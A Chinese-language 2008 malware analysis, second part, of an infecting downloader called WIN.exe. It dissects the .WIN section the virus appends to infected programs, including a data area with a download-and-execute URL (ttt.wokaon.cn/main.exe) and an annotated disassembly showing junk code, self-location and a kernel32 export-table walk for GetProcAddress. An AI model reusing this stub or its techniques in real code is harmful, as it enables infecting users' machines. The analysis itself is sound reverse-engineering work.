感染型下载者WIN.exe部分行为分析(下)

[ 来源:http://www.91now.com/down/ | 作者: | 时间:2008-6-4 | 浏览: 人次 ]

二、被感染文件中加入的内容及其行为分析
程序被感染后,加入一个.WIN节,入口点指向其中
最前面0C5的内容是“数据区”,其中可明显看出有意义的部分,包括以下内容(以下地址为相对.WIN节头的偏移):
***************************************************************************************************
1. 预留空间保存变量(在被感染程序运行时,先运行的代码会向这部分写入数据
+00H   urlmon的基址
+04H   GetProcAddress函数地址
+08H   LoadLibraryA函数地址
+0CH   FreeLibrary函数地址
+10H   ExitProcess函数地址
+14H   GetModuleHandleA函数地址
+18H   URLDownloadToFileA函数地址
+1CH   WinExec函数地址
2. 用到的字符串常量:
+20H   "LoadLibraryA",0
+2DH   "FreeLibrary",0
+39H   "ExitProcess",0
+45H   "GetModuleHandleA",0
+56H   "WinExec",0
+5FH   "urlmon",0
+66H   "URLDownloadToFileA",0
+79H   "http://ttt.wokaon.cn/main.exe",0
+97H   "c:\Program Files\Common Files\WIN.exe",0
……………………
3. 保存的程序原基址和入口点,代码执行后读取这里,并跳回原入口点执行。要修复被感染文件,也要知道这两个值:
+BDH   程序原ImageBase
+C1H   程序原AddressOfEntryPoint
***************************************************************************************************
+C5H开始,将是加入的代码(病毒主文件内存中的13152BF8到13152D88的内容)
我直接在病毒主文件里面看了,OD里反汇编分析了下,大致如下:
13152C04是入口。
***************************************************************************************************
13152BFD 58              pop     eax                                     ; pop得到EIP,即此句代码位置
13152BFE 83E8 05       sub     eax, 5                                  ; call代码的位置
13152C01 C3              retn
13152C02 8BC0          mov     eax, eax
13152C04 55              push ebp                                     ; 入口
13152C05 8BEC          mov     ebp, esp
13152C07 83C4 EC       add     esp, -14
13152C0A 53              push ebx
13152C0B 56              push esi
13152C0C 57              push edi
13152C0D 8D75 FC       lea     esi, dword ptr [ebp-4]                   ; 程序初始化时,堆栈中的指向kernel32.dll内的一个地址
***************************************************************************************************
接下来一段是花指令:
***************************************************************************************************
13152C10 EB 01           jmp     short 13152C13
13152C12 90              nop                                              ; 原是E8,是加花
13152C13 90              nop
13152C14 90              nop
13152C15 90              nop
13152C16 90              nop
13152C17 90              nop
13152C18 90              nop
13152C19 EB 01           jmp     short 13152C1C
13152C1B 90              nop                                              ; 原是E8,是加花
13152C1C 90              nop
13152C1D 90              nop
***************************************************************************************************
下面才接着又是有意义的:
***************************************************************************************************
13152C1E /EB 0F           jmp     short 13152C2F
13152C20 |8138 4D5A9000 cmp     dword ptr [eax], 905A4D                    ; 找kernel32.dll的MZ头,定位其基址
13152C26 |74 12           je    short 13152C3A                             ; 找到后跳出,这时eax为kernel32.dll的基址
13152C28 |2D 00100000     sub     eax, 1000
13152C2D   ^|EB F1           jmp     short 13152C20
13152C2F \8B4424 14    mov     eax, dword ptr [esp+14]
13152C33 25 0000FFFF     and     eax, FFFF0000
13152C38   ^ EB E6           jmp     short 13152C20
13152C3A 8945 FC       mov     dword ptr [ebp-4], eax                   ; 保存kernel32.dll基址
***************************************************************************************************
通过程序初始化时留在堆栈中的一个指向kernel32.dll内部的地址,循环后退找kernel32.dll的DOS文件头(MZ)所在位置,从而定位kernel32.dll的基址
***************************************************************************************************
13152C3D E8 B6FFFFFF     call 13152BF8                                   ; 定位代码位置
13152C42 2D C5000000     sub     eax, 0C5                                   ; eax=.WIN节头
13152C47 8945 F4       mov     dword ptr [ebp-C], eax                   ; 保存.WIN节头地址
***************************************************************************************************
call到的子函数看前面,通过一个虚假的call来诱使EIP入栈,再pop出来,从而在内存中定位了自己的代码位置,确定了.WIN节头地址,从而在读写前面C5H大小的数据区时就有目标了。
***************************************************************************************************
13152C4A 8B06          mov     eax, dword ptr [esi]                       ; esi=ebp-4,此时为kernel32.dll基址
13152C4C 8B40 3C       mov     eax, dword ptr [eax+3C]                    ; MZ头地址+3C,PE头地址
13152C4F 0306          add     eax, dword ptr [esi]
13152C51 8B40 78       mov     eax, dword ptr [eax+78]                    ; PE偏移78H,DataDirectory开头,输出表地址
13152C54 0306          add     eax, dword ptr [esi]
13152C56 8BC8          mov     ecx, eax                                   ; ecx=输出表VA
13152C58 8B51 20       mov     edx, dword ptr [ecx+20]                    ; AddressOfNames
13152C5B 0316          add     edx, dword ptr [esi]
13152C5D 8B59 24       mov     ebx, dword ptr [ecx+24]                    ; AddressOfNameOrdinals
13152C60 031E          add     ebx, dword ptr [esi]
13152C62 895D F0       mov     dword ptr [ebp-10], ebx                    ; AddressOfNameOrdinals
13152C65 8B59 1C       mov     ebx, dword ptr [ecx+1C]                    ; AddressOfFunctions
13152C68 031E          add     ebx, dword ptr [esi]
13152C6A 895D EC       mov     dword ptr [ebp-14], ebx                    ; AddressOfFunctions
13152C6D 8B41 18       mov     eax, dword ptr [ecx+18]                    ; NumberOfNames
13152C70 8BC8          mov     ecx, eax
13152C72 49              dec     ecx
13152C73 85C9          test ecx, ecx
13152C75 72 5A           jb    short 13152CD1
13152C77 41              inc     ecx
***************************************************************************************************
这里用到PE文件的知识了,通过读取kernel32.dll的PE文件结构,找到并读取其输出表,目的,当然是为了在输出表里检索函数。
***************************************************************************************************
13152C78 33C0          xor     eax, eax
13152C7A 8BD8          mov     ebx, eax                                   ; eax=第几个函数(0开始)此处为循环,目的是为了找到GetProcAddressA函数的地址
13152C7C C1E3 02       shl     ebx, 2                                  ; ebx*4
13152C7F 03DA          add     ebx, edx                                   ; edx=AddressOfNames
13152C81 8B3B          mov     edi, dword ptr [ebx]
13152C83 033E          add     edi, dword ptr [esi]
13152C85 813F 47657450 cmp     dword ptr [edi], 50746547                ; GetP
13152C8B 75 40           jnz     short 13152CCD
13152C8D 8BDF          mov     ebx, edi
13152C8F 83C3 04       add     ebx, 4
13152C92 813B 726F6341 cmp     dword ptr [ebx], 41636F72                ; rocA
13152C98 75 33           jnz     short 13152CCD
13152C9A 8BDF          mov     ebx, edi
13152C9C 83C3 08       add     ebx, 8
13152C9F 813B 64647265 cmp     dword ptr [ebx], 65726464                ; ddre
13152CA5 75 26           jnz     short 13152CCD
13152CA7 83C7 0C       add     edi, 0C
13152CAA 66:813F 7373 cmp     word ptr [edi], 7373                       ; ss
13152CAF 75 1C           jnz     short 13152CCD
13152CB1 8BD0          mov     edx, eax
13152CB3 03D2          add     edx, edx
13152CB5 0355 F0       add     edx, dword ptr [ebp-10]                    ; AddressOfNameOrdinals
13152CB8 0FB712       movzx edx, word ptr [edx]
13152CBB C1E2 02       shl     edx, 2
13152CBE 0355 EC       add     edx, dword ptr [ebp-14]                    ; AddressOfFunctions
13152CC1 8B12          mov     edx, dword ptr [edx]
13152CC3 0316          add     edx, dword ptr [esi]                       ; edx=函数地址
13152CC5 8B4D F4       mov     ecx, dword ptr [ebp-C]                   ; ecx=.WIN段首VA
13152CC8 8951 04       mov     dword ptr [ecx+4], edx                   ; 保存GetProcAddress的VA
13152CCB EB 04           jmp     short 13152CD1
13152CCD 40              inc     eax
13152CCE 49              dec     ecx
13152CCF   ^ 75 A9           jnz     short 13152C7A

广告位